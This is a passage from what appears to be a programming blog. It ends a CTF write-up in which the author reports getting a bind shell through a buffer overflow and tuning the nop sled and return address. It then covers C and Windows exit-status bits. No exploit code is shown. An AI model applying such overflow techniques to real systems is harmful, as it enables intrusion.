pwd
/Users/luser

Huzzah! We have a bind shell!

Now I mentioned earlier that I didn’t get around to solving this during the contest, so I don’t know if this exploit would have worked against the target machine. I do know, however, that since the PowerPC exploit worked flawlessly on my x86 Mac, it wouldn’t have mattered whether the target machine was actually PPC or x86 (though I did have to tweak the length of the nop sled and the buffer address to jump to until it worked, since the program has different behavior when running under the debugger and when not). Props to Rosetta for correctly translating code generated at runtime.

And that, my friends, is an anatomy of an exploit.

You could have done all that, or you could have realized that this problem was identical to pp400 from last year. I of course didn’t realize this since I didn’t compete last year, but one of my teammates pointed this out to me (yet somehow I lost the motivation to keep working on this problem…). That unofficial writeup to which I just linked was taken down during the contest, presumably because the writers were competing again and didn’t want to give other teams an advantage, though my teammate had a copy of the text. In any case, I still had fun solving this.

Last week, I mentioned in passing that Windows allows the full range of 32-bit exit codes. That’s true, but only if you directly call ExitProcess() (or its less-friendly kin TerminateProcess()).

If you just call exit() (or return from main(), which implicitly calls exit()), then like in the *NIX world, you only get the bottom 8 bits of the exit status—see MSDN’s exit() documentation. So for portability’s sake, don’t use exit statuses above 255 unless you really, really need to.

Last time, we saw how we can capture a process’ core dump. The astute reader will have noticed that we seem to be pulling bits out of thin air:

int status;
if(wait(&status) < 0)
  perror("wait");
if(WIFSIGNALED(status) && WCOREDUMP(status))
...

We’ve got a 32-bit exit status, and yet we seem to getting two more useful bits of information out of it from the WIFSIGNALED() and WCOREDUMP() macros. How is that possible?

Well, what you thought was a 32-bit exit status really isn’t 32 bits. In fact, it’s quite a bit less than. The C standard only guarantees one useful bit. Quoth section 7.20.4.3, paragraph 5, of the C99 standard, which describes the exit(3) function:

Finally, control is returned to the host environment. If the value of status is zero or EXIT_SUCCESS, an implementation-defined form of the status successful termination is returned. If the value of status is EXIT_FAILURE, an implementation-defined form of the status unsuccessful termination is returned. Otherwise the status returned is implementation-defined.

Recall that implementation-defined means the C standard doesn’t define what happens, but the implementation (in this case, the GNU C library, or the Microsoft C library, etc.) must document the decision it made. Contrast this with undefined behavior, in which anything could happen (including erasing your hard drive), and nowhere does what happens have to be documented.

So if you want to write portable code, you only get one bit of information in your exit status: successful or unsuccessful termination, which is often good enough for most applications. If you go this route, it’s a good idea to use the EXIT_SUCCESS and EXIT_FAILURE macros, but it’s by no means necessary. You can use still use 0 and something non-0 (1 is a popular—and good—choice), and it will still work pretty much anywhere if you’re not unlucky. But the only truly 100% portable unsuccessful status is EXIT_FAILURE.

Screw that. You want more than one bit of information in your exit status. There’s a whole 32 bits (or occasionally 16 or 64 on some non-standard systems) in an int, so why can’t we use them? On Linux, the exit(3) man page clearly states we get 8 bits:

The exit() function causes normal process termination and the value of status & 0377 is returned to the parent (see wait(2)).

Mac OS X likewise also provides 8 bits (though that fact is a little more subtle in the documentation there). Windows fares better here—it provides the full 32 bits via the GetExitCodeProcess() function here—but the discussion here is going to focus on Linux/Mac OS X for now.

8 bits. Much more useful than 1, though not quite the 32 you might have been hoping for. It’s enough to express a varied gamut of exit statuses (incorrect usage, file not found, other unexpected error, etc.).

A consequence of this behavior is if you exit with a status that is a multiple of 256, that’s indistinguishable from 0, which means you’re likely exiting with a successful status when you meant it to be unsuccessful. Oops.

As a quick example, try out these shell commands ($? is a special parameter that evaluates to the exit status of the last child process or pipeline ran by the shell):

$ bash -c 'exit 5'; echo $?     # Prints 5
$ bash -c 'exit 256'; echo $?   # Prints 0 (!)

Now that we’ve figured out we only have 8 bits that come with an exit status, it’s clear how the WIFSIGNALED() and WCOREDUMP() macros work: wait(2) stuffs extra information into the status in addition to the child process’ exit status (you could have figured that out by reading the man page, but you obviously didn’t since you’re here reading this).

One final word of caution: be careful about exit statuses above 128. When a process is terminated due to a signal (say, because it segfaulted, resulting in a SIGSEGV), the exit status is 128 plus the signal number. Yes, a parent process can tell if the child process was terminated by a signal or by calling exit() by checking with WIFSIGNALED(), but it’s not always possible to get at that information when you want it. If you’re executing commands in the bash shell, you can get at the exit status quite easily with $?, but you can’t get at the other bits returned by wait(), at least not in any way I know. To keep things simple, if you never use exit statuses above 128, then anyone can unambiguously determine that an exit status of 0–127 means a normal exit, and an exit status of 128–255 means an abnormal exit.

In summary, use only EXIT_SUCCESS and EXIT_FAILURE for maximally portable code, and otherwise use only 0–127 for code that will be portable to Linux, Mac OS X, and Windows (and probably other not-uncommon systems that are still in current us but with which I’m not familiar enough to comment on).